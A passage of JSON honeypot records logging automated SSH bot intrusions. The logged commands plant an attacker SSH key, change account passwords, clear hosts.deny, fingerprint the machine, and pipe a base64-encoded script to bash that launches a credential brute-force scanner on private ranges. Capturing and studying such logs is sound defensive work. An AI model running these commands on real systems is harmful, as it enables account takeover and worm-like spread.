2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T00:28:10.546140+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T00:28:10.546589+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T00:28:10.769588+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T00:28:10.770125+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T00:28:10.947318+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T00:28:10.947780+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-23T00:28:11.046122+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T00:28:11.798965+00:00","kind":"output","latency_ms":753,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T00:28:12.007876+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T00:28:12.532310+00:00","kind":"output","latency_ms":523,"data":"24G"},{"seq":33,"at":"2026-08-23T00:28:13.268783+00:00","kind":"input","latency_ms":null,"data":"echo \"admin P@ssw0rd1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T00:28:13.463124+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T00:28:14.014470+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-23T00:28:14.293859+00:00","kind":"output","latency_ms":829,"data":""},{"seq":37,"at":"2026-08-23T00:28:14.703988+00:00","kind":"output","latency_ms":688,"data":"admin P@ssw0rd1"},{"seq":38,"at":"2026-08-23T00:28:14.800552+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T00:28:16.960154+00:00","kind":"output","latency_ms":2157,"data":""},{"seq":40,"at":"2026-08-23T00:28:17.182056+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T00:28:17.276752+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T00:28:17.903685+00:00","kind":"output","latency_ms":625,"data":"1"},{"seq":43,"at":"2026-08-23T00:28:18.025818+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T00:28:18.603260+00:00","kind":"output","latency_ms":575,"data":"1"},{"seq":45,"at":"2026-08-23T00:28:18.782001+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T00:28:19.243391+00:00","kind":"output","latency_ms":459,"data":""},{"seq":47,"at":"2026-08-23T00:28:27.224605+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T00:28:27.225174+00:00","kind":"output","latency_ms":null,"data":"admin"}],"credentials":[{"username":"admin","password":"P@ssw0rd1","method":"password","accepted":true,"tier":"other"}]} {"id":"bb8255c1-fa10-47fb-bace-d408951594e4","name":"ivory-gloomy-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"68.183.236.1","src_port":37372,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":772,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T21:59:03.408093+00:00","ended_at":"2026-08-22T21:59:11.945062+00:00","ended_reason":"exec complete","commands":26,"transcript_bytes":3638,"events":[{"seq":1,"at":"2026-08-22T21:58:29.605029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T21:58:30.368268+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T21:58:36.594886+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T21:58:36.595337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T21:58:37.369053+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pEYx4uCAYcJt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T21:58:38.000234+00:00","kind":"output","latency_ms":631,"data":""},{"seq":7,"at":"2026-08-22T21:58:38.140258+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T21:58:38.911841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T21:58:38.912392+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-22T21:58:39.682667+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-22T21:58:40.336672+00:00","kind":"output","latency_ms":652,"data":" 15888 0 0 0 0 0"},{"seq":12,"at":"2026-08-22T21:58:41.108518+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T21:58:41.816382+00:00","kind":"output","latency_ms":706,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T21:58:42.600568+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T21:58:42.601089+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T21:58:43.364158+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T21:58:43.364603+00:00","kind":"output","latency_ms":null,"data":" 21:58:43 up 2 days, 18:48, 0 user, load average: 0.13, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T21:58:44.137010+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T21:58:44.139207+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T21:58:44.913887+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T21:58:44.914514+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T21:58:45.687970+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T21:58:45.688557+00:00","kind":"output","latency_ms":null,"data":"top - 21:58:45 up 2 days, 18:48, 0 user, load average: 0.13, 0.14, 0.15\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T21:58:46.461811+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T21:58:46.462950+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T21:58:47.236646+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T21:58:47.237192+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T21:58:48.023152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T21:58:48.023880+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T21:58:48.794032+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T21:58:49.689839+00:00","kind":"output","latency_ms":896,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-22T21:58:50.466499+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T21:58:51.339230+00:00","kind":"output","latency_ms":875,"data":"24G"},{"seq":34,"at":"2026-08-22T21:58:53.779468+00:00","kind":"input","latency_ms":null,"data":"echo \"root eric123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T21:58:54.549510+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T21:58:55.148927+00:00","kind":"output","latency_ms":596,"data":""},{"seq":37,"at":"2026-08-22T21:58:57.319606+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T21:58:57.937693+00:00","kind":"output","latency_ms":617,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-22T21:58:58.708770+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T21:58:59.225607+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-22T21:58:59.999522+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T21:59:00.769001+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T21:59:01.439664+00:00","kind":"output","latency_ms":669,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-22T21:59:02.212178+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T21:59:02.635849+00:00","kind":"output","latency_ms":422,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-22T21:59:03.408905+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T21:59:03.906762+00:00","kind":"output","latency_ms":496,"data":"bash: line 1: /var/tmp/.systemcache436621: No such file or directory"}],"credentials":[{"username":"root","password":"eric123","method":"password","accepted":true,"tier":"other"}]} {"id":"95af22e8-455c-494b-9a26-d34aceb89a4c","name":"painted-electric-chickadee","protocol":"ssh","channel_kind":"exec","src_ip":"161.248.189.72","src_port":37538,"username":"wanghao","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":794,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T19:14:31.740961+00:00","ended_at":"2026-08-22T19:14:31.989686+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3941,"events":[{"seq":1,"at":"2026-08-22T19:13:46.595088+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T19:13:47.385395+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T19:13:53.667346+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T19:13:53.667685+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T19:13:54.460428+00:00","kind":"input","latency_ms":null,"data":"echo -e \"wanghao\\nn15RepQkopJP\\nn15RepQkopJP\"|passwd|bash"},{"seq":6,"at":"2026-08-22T19:13:55.254268+00:00","kind":"input","latency_ms":null,"data":"echo \"wanghao\\nn15RepQkopJP\\nn15RepQkopJP\\n\"|passwd"},{"seq":7,"at":"2026-08-22T19:13:56.044808+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T19:13:56.046785+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T19:13:56.838398+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T19:13:57.728623+00:00","kind":"output","latency_ms":889,"data":"15888 10924 1180 4925 0 0"},{"seq":11,"at":"2026-08-22T19:13:58.523222+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T19:13:59.268470+00:00","kind":"output","latency_ms":745,"data":"-rwxr-xr-x 1 root root 1.1M May 25 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T19:14:00.079290+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T19:14:00.080231+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T19:14:00.875613+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T19:14:00.876341+00:00","kind":"output","latency_ms":null,"data":" 19:14:00 up 2 days, 16:04, 0 user, load average: 0.06, 0.04, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T19:14:01.671095+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T19:14:01.671800+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T19:14:02.464419+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T19:14:02.464863+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T19:14:03.258432+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T19:14:03.258787+00:00","kind":"output","latency_ms":null,"data":"top - 19:14:03 up 2 days, 16:04, 0 user, load average: 0.06, 0.04, 0.07\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T19:14:04.052272+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T19:14:04.052771+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T19:14:04.845359+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T19:14:04.846085+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T19:14:05.641372+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T19:14:05.641675+00:00","kind":"output","latency_ms":null,"data":"wanghao"},{"seq":29,"at":"2026-08-22T19:14:06.438093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T19:14:07.351470+00:00","kind":"output","latency_ms":913,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-22T19:14:08.144082+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T19:14:08.835344+00:00","kind":"output","latency_ms":690,"data":"24G"},{"seq":33,"at":"2026-08-22T19:14:12.401200+00:00","kind":"input","latency_ms":null,"data":"echo \"wanghao wanghao\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T19:14:13.192236+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T19:14:13.629215+00:00","kind":"output","latency_ms":435,"data":""},{"seq":36,"at":"2026-08-22T19:14:16.027197+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T19:14:16.641487+00:00","kind":"output","latency_ms":613,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-22T19:14:17.433520+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T19:14:17.891522+00:00","kind":"output","latency_ms":457,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T19:14:18.687846+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T19:14:19.475533+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T19:14:20.732526+00:00","kind":"output","latency_ms":1255,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-22T19:14:21.528374+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T19:14:22.100168+00:00","kind":"output","latency_ms":574,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-22T19:14:22.891817+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T19:14:31.742375+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-22T19:14:31.743232+00:00","kind":"output","latency_ms":null,"data":"wanghao"}],"credentials":[{"username":"wanghao","password":"wanghao","method":"password","accepted":true,"tier":"other"}]} {"id":"d1ae6f90-0b8c-4bc6-848b-19144edc24ef","name":"candid-restless-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"43.166.242.149","src_port":41778,"username":"suporte","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":894,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T18:50:13.441372+00:00","ended_at":"2026-08-22T18:50:15.710054+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3480,"events":[{"seq":1,"at":"2026-08-22T18:49:19.306620+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T18:49:19.593099+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T18:49:31.480474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T18:49:31.480870+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T18:49:32.434837+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\n4QnE8tQQl06v\\n4QnE8tQQl06v\"|passwd|bash"},{"seq":6,"at":"2026-08-22T18:49:32.946993+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\n4QnE8tQQl06v\\n4QnE8tQQl06v\\n\"|passwd"},{"seq":7,"at":"2026-08-22T18:49:33.915564+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T18:49:33.916125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T18:49:34.426562+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T18:49:34.981738+00:00","kind":"output","latency_ms":554,"data":"15888 2107 1021 164 12794 13781"},{"seq":11,"at":"2026-08-22T18:49:35.047873+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T18:49:35.616202+00:00","kind":"output","latency_ms":566,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T18:49:35.681316+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T18:49:35.681937+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T18:49:36.216211+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T18:49:36.217618+00:00","kind":"output","latency_ms":null,"data":" 18:49:36 up 2 days, 15:39, 0 user, load average: 0.27, 0.3, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T18:49:36.488880+00:00","kind":"input","latency_ms":null,"data":"uname 